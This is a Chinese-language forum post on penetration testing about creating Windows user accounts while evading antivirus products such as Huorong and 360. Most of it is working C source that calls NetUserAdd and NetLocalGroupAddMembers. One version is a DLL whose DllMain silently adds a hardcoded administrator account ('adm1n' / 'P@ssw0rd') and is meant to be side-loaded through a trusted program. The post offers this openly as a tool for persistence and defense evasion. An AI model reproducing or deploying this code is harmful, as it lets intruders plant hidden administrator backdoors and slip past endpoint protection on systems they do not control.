绕过杀软添加用户
一、概述在渗透过的过程 少不了要添加账号,现在防护软件都会对添加用户的操作进行拦截。 在终端中执行添加用户命令 net user moonsec sb123 /add火绒会对此操作进行拦截。 二、绕过上传net1.exe 或 net.exe 对此进行重名 到别的路径执行该命令也是拦截。 - #ifndef UNICODE
- #define UNICODE
- #endif
- #pragma comment(lib, "netapi32.lib")
- #include <stdio.h>
- #include <windows.h>
- #include <lm.h>
- int wmain(int argc, wchar_t *argv[])
- {
- USER_INFO_1 ui;
- DWORD dwLevel = 1;
- DWORD dwError = 0;
- NET_API_STATUS nStatus;
- if (argc != 3)
- {
- fwprintf(stderr, L"Usage: %s \\\\ServerName UserName\n", argv[0]);
- exit(1);
- }
- //
- // Set up the USER_INFO_1 structure.
- // USER_PRIV_USER: name identifies a user,
- // rather than an administrator or a guest.
- // UF_SCRIPT: required
- //
- ui.usri1_name = argv[2];
- ui.usri1_password = argv[2];
- ui.usri1_priv = USER_PRIV_USER;
- ui.usri1_home_dir = NULL;
- ui.usri1_comment = NULL;
- ui.usri1_flags = UF_SCRIPT;
- ui.usri1_script_path = NULL;
- //
- // Call the NetUserAdd function, specifying level 1.
- //
- nStatus = NetUserAdd(argv[1],
- dwLevel,
- (LPBYTE)&ui,
- &dwError);
- //
- // If the call succeeds, inform the user.
- //
- if (nStatus == NERR_Success)
- fwprintf(stderr, L"User %s has been successfully added on %s\n",
- argv[2], argv[1]);
- //
- // Otherwise, print the system error.
- //
- else
- fprintf(stderr, "A system error has occurred: %d\n", nStatus);
- return 0;
- }
复制代码 改进代码 dll版本
- #include "pch.h"
- #include <Windows.h>
- #include <lm.h>
- #include <iostream>
- #include <fstream>
- #pragma comment(lib, "netapi32.lib")
- wchar_t username[256] = L"adm1n";
- wchar_t password[256] = L"P@ssw0rd";
- BOOL APIENTRY DllMain( HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- // Create the user
- USER_INFO_1 user;
- memset(&user, 0, sizeof(USER_INFO_1));
- user.usri1_name = username;
- user.usri1_password = password;
- user.usri1_priv = USER_PRIV_USER;
- user.usri1_flags = UF_DONT_EXPIRE_PASSWD;
- NetUserAdd(NULL, 1, (LPBYTE)&user, NULL);
- // Add the user to the administrators group
- LOCALGROUP_MEMBERS_INFO_3 members;
- members.lgrmi3_domainandname = username;
- NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&members, 1);
- }
复制代码这个版本可以用白程序加载dll执行 可以过掉一部分杀软。 也可以exe版本 - #ifndef UNICODE
- #define UNICODE
- #endif
- #pragma comment(lib, "netapi32.lib")
- #include <stdio.h>
- #include <windows.h>
- #include <lm.h>
- int wmain(int argc, wchar_t* argv[])
- {
- USER_INFO_1 ui;
- DWORD dwLevel = 1;
- DWORD dwError = 0;
- NET_API_STATUS nStatus;
- if (argc != 3)
- {
- fwprintf(stderr, L"Usage:.%s <username> <password>\n", argv[0]);
- exit(1);
- }
- ui.usri1_name = argv[1];
- ui.usri1_password = argv[2];
- ui.usri1_priv = USER_PRIV_USER;
- ui.usri1_home_dir = NULL;
- ui.usri1_comment = NULL;
- ui.usri1_flags = UF_SCRIPT;
- ui.usri1_script_path = NULL;
- nStatus = NetUserAdd(NULL,
- dwLevel,
- (LPBYTE)&ui,
- &dwError);
- if (nStatus == NERR_Success)
- fwprintf(stderr, L"User %s has been successfully added\n", argv[1]);
- else
- fprintf(stderr, "A system error has occurred: %d\n", nStatus);
- LOCALGROUP_MEMBERS_INFO_3 account;
- account.lgrmi3_domainandname = argv[1];
- NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
- if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS) {
- printf("Administrators added Successfully!");
- }
- else {
- printf("Administrators added Failed!");
- }
- return 0;
- }
复制代码编译生成后 执行 大多少都可以过 例如火绒 360有些版本能过。 源码下载
|